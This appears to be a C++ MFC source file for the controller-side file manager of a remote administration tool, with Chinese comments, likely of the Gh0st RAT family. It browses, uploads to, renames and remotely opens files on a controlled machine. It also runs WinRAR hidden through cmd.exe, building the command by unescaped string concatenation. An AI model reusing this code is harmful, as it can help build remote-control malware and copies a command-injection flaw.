m_ControlList_Client.SetItemData(iItem, iType == FILE_ATTRIBUTE_DIRECTORY); //隐藏属性
SHFILEINFO sfi;
SHGetFileInfo(szFileName, FILE_ATTRIBUTE_NORMAL | iType, &sfi,sizeof(SHFILEINFO),
SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
m_ControlList_Client.SetItemText(iItem, 2, sfi.szTypeName);
}
// 得到文件大小
szTravel += strlen(szFileName) + 1;
if (bIsInsert)
{
memcpy(&dwFileSizeHigh,szTravel, 4);
memcpy(&dwFileSizeLow, szTravel + 4, 4);
CString strFileSize;
strFileSize.Format("%10d KB", (dwFileSizeHigh * (MAXDWORD+1)) / 1024 + dwFileSizeLow / 1024 + (dwFileSizeLow % 1024 ? 1 : 0));
m_ControlList_Client.SetItemText(iItem, 1, strFileSize);
memcpy(&FileTime, szTravel + 8, sizeof(FILETIME));
CTime Time(FileTime);
m_ControlList_Client.SetItemText(iItem, 3, Time.Format("%Y-%m-%d %H:%M"));
}
szTravel += 16;
}
}
}
// m_list_remote.SetRedraw(TRUE);
// 恢复窗口
m_ControlList_Client.EnableWindow(TRUE);
}
//从主控端向被控端进行拷贝
void CFileManagerDlg::OnLvnBegindragListServer(NMHDR *pNMHDR, LRESULT *pResult)
{
NM_LISTVIEW* pNMListView = (NM_LISTVIEW*)pNMHDR;
if (m_Client_File_Path.IsEmpty()||m_Server_File_Path.IsEmpty())
{
return;
}
// m_ulDragIndex = pNMListView->iItem; //保存要拖的项
if(m_ControlList_Server.GetSelectedCount() > 1) //变换鼠标的样式 如果选择多项进行拖拽
{
m_hCursor = AfxGetApp()->LoadCursor(IDC_CURSOR_MDRAG);
}
else
{
m_hCursor = AfxGetApp()->LoadCursor(IDC_CURSOR_DRAG);
}
m_bDragging = TRUE;
m_DragControlList = &m_ControlList_Server;
m_DropControlList = &m_ControlList_Server;
SetCapture();
*pResult = 0;
}
void CFileManagerDlg::OnMouseMove(UINT nFlags, CPoint point)
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
if (m_bDragging) //我们只对拖拽感兴趣
{
CPoint Point(point); //获得鼠标位置
ClientToScreen(&Point); //转成相对于自己屏幕的
//根据鼠标获得窗口句柄
CWnd* pDropWnd = WindowFromPoint(Point); //值所在位置 有没有控件
if(pDropWnd->IsKindOf(RUNTIME_CLASS (CListCtrl))) //属于我们的窗口范围内
{
SetCursor(m_hCursor);
return;
}
else
{
SetCursor(LoadCursor(NULL,IDC_NO)); //超出窗口换鼠标样式
}
}
CDialog::OnMouseMove(nFlags, point);
}
void CFileManagerDlg::OnLButtonUp(UINT nFlags, CPoint point)
{
if (m_bDragging)
{
ReleaseCapture(); //释放鼠标的捕获
m_bDragging = FALSE;
CPoint Point(point); //获得当前鼠标的位置相对于整个屏幕的
ClientToScreen (&Point); //转换成相对于当前用户的窗口的位置
CWnd* DropWnd = WindowFromPoint (Point); //获得当前的鼠标下方有无控件
if (DropWnd->IsKindOf (RUNTIME_CLASS (CListCtrl))) //如果是一个ListControl
{
m_DropControlList = (CListCtrl*)DropWnd; //保存当前的窗口句柄
DropItemOnList(); //处理传输
}
}
CDialog::OnLButtonUp(nFlags, point);
}
VOID CFileManagerDlg::DropItemOnList()
{
if (m_DragControlList==m_DropControlList)
{
return;
}
if ((CWnd *)m_DropControlList == &m_ControlList_Server)
{
// m_nDropIndex = m_list_local.GetSelectionMark();
// OnIdtRemoteCopy();
}
else if ((CWnd *)m_DropControlList == &m_ControlList_Client)
{
//m_nDropIndex = m_list_remote.GetSelectionMark();
OnCopyServerToClient();
}
else
{
return;
}
// 重置
//m_nDropIndex = -1;
}
VOID CFileManagerDlg::OnCopyServerToClient() //从主控端到被控端
{
m_Remote_Upload_Job.RemoveAll();
POSITION Pos = m_ControlList_Server.GetFirstSelectedItemPosition();
while(Pos)
{
int iItem = m_ControlList_Server.GetNextSelectedItem(Pos);
CString strFileFullPath = NULL;
if (0)
//if (m_IsLocalFinding)
{/* "2015-02-09 12:550 .-. Deja Ver (Ft. Tony Dize).mp3" */
//strFileName = m_ControlList_Server.GetItemText(iItem, 3) + m_list_local.GetItemText(nItem, 0);
}
else
{
strFileFullPath = m_Server_File_Path + m_ControlList_Server.GetItemText(iItem, 0);
}
// 如果是目录
if (m_ControlList_Server.GetItemData(iItem))
{
strFileFullPath += '\\';
FixedServerToClientDirectory(strFileFullPath.GetBuffer(0));
}
else
{
// 添加到上传任务列表中去
HANDLE hFile = CreateFile(strFileFullPath,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
if (hFile==INVALID_HANDLE_VALUE)
{
continue;
}
m_Remote_Upload_Job.AddTail(strFileFullPath);
CloseHandle(hFile);
}
}
if (m_Remote_Upload_Job.IsEmpty())
{
::MessageBox(m_hWnd, "文件夹为空", "警告", MB_OK|MB_ICONWARNING);
return;
}
EnableControl(FALSE);
SendToClientJob(); //发送第一个任务
}
BOOL CFileManagerDlg::FixedServerToClientDirectory(LPCTSTR szDircetoryFullPath)
{
CHAR szBuffer[MAX_PATH];
CHAR *szSlash = NULL;
memset(szBuffer, 0, sizeof(szBuffer));
if (szDircetoryFullPath[strlen(szDircetoryFullPath) - 1] != '\\')
szSlash = "\\";
else
szSlash = "";
sprintf(szBuffer, "%s%s*.*", szDircetoryFullPath, szSlash);
WIN32_FIND_DATA wfd;
HANDLE hFind = FindFirstFile(szBuffer, &wfd); //C;|1\*.*
if (hFind == INVALID_HANDLE_VALUE) // 如果没有找到或查找失败
return FALSE;
do
{
if (wfd.cFileName[0] == '.')
continue; // 过滤这两个目录 '.'和'..'
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
CHAR szv1[MAX_PATH];
sprintf(szv1, "%s%s%s", szDircetoryFullPath,szSlash, wfd.cFileName);
FixedServerToClientDirectory(szv1); // 如果找到的是目录,则进入此目录进行递归
}
else
{
CString strFileFullPath;
strFileFullPath.Format("%s%s%s", szDircetoryFullPath, szSlash, wfd.cFileName);
m_Remote_Upload_Job.AddTail(strFileFullPath);
// 对文件进行操作
}
} while (FindNextFile(hFind, &wfd));
FindClose(hFind); // 关闭查找句柄
return true;
}
VOID CFileManagerDlg::EndCopyServerToClient() //如果有任务就继续发送没有就恢复界面
{
m_ulCounter = 0;
m_OperatingFileLength = 0;
ShowProgress();
if (m_Remote_Upload_Job.IsEmpty()|| m_bIsStop)
{
m_Remote_Upload_Job.RemoveAll();
m_bIsStop = FALSE;
EnableControl(TRUE);
m_ulTransferMode = TRANSFER_MODE_NORMAL;
GetClientFileList(".");
}
else
{
Sleep(5);
SendToClientJob();
}
return;
}
BOOL CFileManagerDlg::SendToClientJob() //从主控端到被控端的发送任务
{
if (m_Remote_Upload_Job.IsEmpty())
return FALSE;
CString strDestDirectory = m_Client_File_Path;
m_strSourFileFullPath = m_Remote_Upload_Job.GetHead(); //获得第一个任务的名称
DWORD dwSizeHigh;
DWORD dwSizeLow;
// 1 字节token, 8字节大小, 文件名称, '\0'
HANDLE hFile;
CString strString = m_strSourFileFullPath; // 远程文件
// 得到要保存到的远程的文件路径
strString.Replace(m_Server_File_Path, m_Client_File_Path); //D:1.txt E:1.txt
m_strDestFileFullPath = strString; //修正好的名字
hFile = CreateFile(m_strSourFileFullPath.GetBuffer(0), GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); //获得要发送文件的大小
if (hFile == INVALID_HANDLE_VALUE)
{
return FALSE;
}
dwSizeLow = GetFileSize (hFile, &dwSizeHigh);
m_OperatingFileLength = (dwSizeHigh * (MAXDWORD+1)) + dwSizeLow;
CloseHandle(hFile);
// 构造数据包,发送文件长度
ULONG ulLength =strString.GetLength() + 10;
BYTE *szBuffer = (BYTE *)LocalAlloc(LPTR, ulLength);
memset(szBuffer, 0, ulLength);
szBuffer[0] = COMMAND_FILE_SIZE;
//[Flag 0001 0001 E:\1.txt\0 ]
//向被控端发送消息 COMMAND_FILE_SIZE 被控端会执行CreateLocalRecvFile函数
//从而分成两中情况一种是要发送文件已经存在就会接收到
// TOKEN_GET_TRANSFER_MODE
//另一种是被控端调用GetFileData函数从而接收到TOKEN_DATA_CONTINUE
memcpy(szBuffer + 1, &dwSizeHigh, sizeof(DWORD));
memcpy(szBuffer + 5, &dwSizeLow, sizeof(DWORD));
memcpy(szBuffer + 9, strString.GetBuffer(0), strString.GetLength() + 1);
m_iocpServer->OnClientPreSending(m_ContextObject,szBuffer,ulLength);
LocalFree(szBuffer);
// 从下载任务列表中删除自己
m_Remote_Upload_Job.RemoveHead();
return TRUE;
}
void CFileManagerDlg::OnNMRClickListServer(NMHDR *pNMHDR, LRESULT *pResult)
{
LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
CMenu Menu;
Menu.LoadMenu(IDR_MENU_FILE_OPERATION);
CMenu* SubMenu = Menu.GetSubMenu(0);
CPoint Point;
GetCursorPos(&Point);
SubMenu->DeleteMenu(2, MF_BYPOSITION);
if (m_ControlList_Server.GetSelectedCount() == 0)
{
int iCount = SubMenu->GetMenuItemCount();
for (int i = 0; i < iCount; i++)
{
SubMenu->EnableMenuItem(i, MF_BYPOSITION | MF_GRAYED);
}
}
SubMenu->TrackPopupMenu(TPM_LEFTALIGN, Point.x, Point.y, this);
*pResult = 0;
}
void CFileManagerDlg::OnOperationServerRun()
{
CString strFileFullPath;
strFileFullPath = m_Server_File_Path + m_ControlList_Server.GetItemText(m_ControlList_Server.GetSelectionMark(), 0);
ShellExecute(NULL, "open", strFileFullPath, NULL, NULL, SW_SHOW); //CreateProcess
}
void CFileManagerDlg::OnOperationRename()
{
POINT Point;
GetCursorPos(&Point);
if (GetFocus()->m_hWnd == m_ControlList_Server.m_hWnd)
{
m_ControlList_Server.EditLabel(m_ControlList_Server.GetSelectionMark());
}
else
{
m_ControlList_Client.EditLabel(m_ControlList_Client.GetSelectionMark());
}
}
void CFileManagerDlg::OnLvnEndlabeleditListServer(NMHDR *pNMHDR, LRESULT *pResult)
{
NMLVDISPINFO *pDispInfo = reinterpret_cast<NMLVDISPINFO*>(pNMHDR);
CString strNewFileName, strExistingFileFullPath, strNewFileFullPath;
m_ControlList_Server.GetEditControl()->GetWindowText(strNewFileName);
strExistingFileFullPath = m_Server_File_Path + m_ControlList_Server.GetItemText(pDispInfo->item.iItem, 0);
strNewFileFullPath = m_Server_File_Path + strNewFileName;
*pResult = ::MoveFile(strExistingFileFullPath.GetBuffer(0), strNewFileFullPath.GetBuffer(0));
}
void CFileManagerDlg::OnNMRClickListClient(NMHDR *pNMHDR, LRESULT *pResult)
{
LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
CMenu Menu;
Menu.LoadMenu(IDR_MENU_FILE_OPERATION);
CMenu* SubMenu = Menu.GetSubMenu(0);
CPoint Point;
GetCursorPos(&Point);
SubMenu->DeleteMenu(1, MF_BYPOSITION);
if (m_ControlList_Client.GetSelectedCount() == 0)
{
int iCount = SubMenu->GetMenuItemCount();
for (int i = 0; i < iCount; i++)
{
SubMenu->EnableMenuItem(i, MF_BYPOSITION | MF_GRAYED);
}
}
SubMenu->TrackPopupMenu(TPM_LEFTALIGN, Point.x, Point.y, this);
*pResult = 0;
}
void CFileManagerDlg::OnOperationClientShowRun()
{
CString strFileFullPath;
strFileFullPath = m_Client_File_Path + m_ControlList_Client.GetItemText(m_ControlList_Client.GetSelectionMark(), 0);
ULONG ulLength = strFileFullPath.GetLength() + 2;
BYTE szBuffer[MAX_PATH+10];
szBuffer[0] = COMMAND_OPEN_FILE_SHOW;
memcpy(szBuffer + 1, strFileFullPath.GetBuffer(0), ulLength - 1);
m_iocpServer->OnClientPreSending(m_ContextObject, szBuffer, ulLength);
}
void CFileManagerDlg::OnOperationClientHideRun()
{
// TODO: 在此添加命令处理程序代码
}
void CFileManagerDlg::OnLvnEndlabeleditListClient(NMHDR *pNMHDR, LRESULT *pResult)
{
NMLVDISPINFO *pDispInfo = reinterpret_cast<NMLVDISPINFO*>(pNMHDR);
CString strNewFileName, strExistingFileFullPath, strNewFileFullPath;
m_ControlList_Client.GetEditControl()->GetWindowText(strNewFileName);
strExistingFileFullPath = m_Client_File_Path + m_ControlList_Client.GetItemText(pDispInfo->item.iItem, 0);
strNewFileFullPath = m_Client_File_Path + strNewFileName;
if (strExistingFileFullPath != strNewFileFullPath)
{
UINT ulLength = strExistingFileFullPath.GetLength() + strNewFileFullPath.GetLength() + 3;
LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, ulLength);
szBuffer[0] = COMMAND_RENAME_FILE; //向被控端发送消息
memcpy(szBuffer + 1, strExistingFileFullPath.GetBuffer(0), strExistingFileFullPath.GetLength() + 1);
memcpy(szBuffer + 2 + strExistingFileFullPath.GetLength(),
strNewFileFullPath.GetBuffer(0), strNewFileFullPath.GetLength() + 1);
m_iocpServer->OnClientPreSending(m_ContextObject, szBuffer, ulLength);
LocalFree(szBuffer);
GetClientFileList(".");
}
*pResult = 0;
}
void CFileManagerDlg::OnOperationCompress()
{
POINT Point;
GetCursorPos(&Point);
if (GetFocus()->m_hWnd == m_ControlList_Server.m_hWnd)
{
ServerCompress(1);
}
}
VOID CFileManagerDlg::ServerCompress(ULONG ulType)
{
POSITION Pos = m_ControlList_Server.GetFirstSelectedItemPosition();
CString strString;
while(Pos)
{
int iItem = m_ControlList_Server.GetNextSelectedItem(Pos);
strString += m_Server_File_Path + m_ControlList_Server.GetItemText(iItem, 0); //C:\1.txt C:\2.txt s
strString += _T(" ");
}
if (!strString.IsEmpty())
{
CString strRARFileFullPath;
strRARFileFullPath += m_Server_File_Path;
CFileCompress Dlg(this,ulType);
if (Dlg.DoModal()==IDOK)
{
if (Dlg.m_EditRarName.IsEmpty())
{
MessageBox("ERROR");
return;
}
strRARFileFullPath += Dlg.m_EditRarName;
strRARFileFullPath += ".rar";
CompressFiles(strRARFileFullPath.GetBuffer(strRARFileFullPath.GetLength()),
strString.GetBuffer(strString.GetLength()),ulType);
}
}
}
BOOL CFileManagerDlg::CompressFiles(PCSTR strRARFileFullPath,PSTR strString,ULONG ulType)
{
// ibck 是后台运行
PSTR szExePath = "/c c:\\progra~1\\winrar\\winrar.exe a -ad -ep1 -ibck ";
//"/c c:\\progra~1\\winrar\\winrar.exe -x -ep1 -ibck " ;
ULONG ulLength =strlen(szExePath) + strlen(strRARFileFullPath)+strlen(strString)+2;
PSTR szBuffer = (PSTR)malloc(sizeof(CHAR)* ulLength);
StringCchCopyN(szBuffer , ulLength , szExePath , strlen(szExePath));
StringCchCatN( szBuffer ,ulLength , strRARFileFullPath , strlen(strRARFileFullPath) );
StringCchCatN( szBuffer ,ulLength , " " ,1);
StringCchCatN( szBuffer ,ulLength , strString , strlen(strString));
if (ulType==1)
{
SHELLEXECUTEINFO sei = {0};
sei.cbSize = sizeof sei;
sei.lpVerb = "open";
sei.lpFile = "c:\\windows\\system32\\cmd.exe";
sei.lpParameters = szBuffer;
sei.nShow = SW_HIDE;
sei.fMask = SEE_MASK_NOCLOSEPROCESS;
BOOL fReturn = ShellExecuteEx(&sei);
CloseHandle(sei.hProcess);
return (fReturn);
}
return TRUE;
}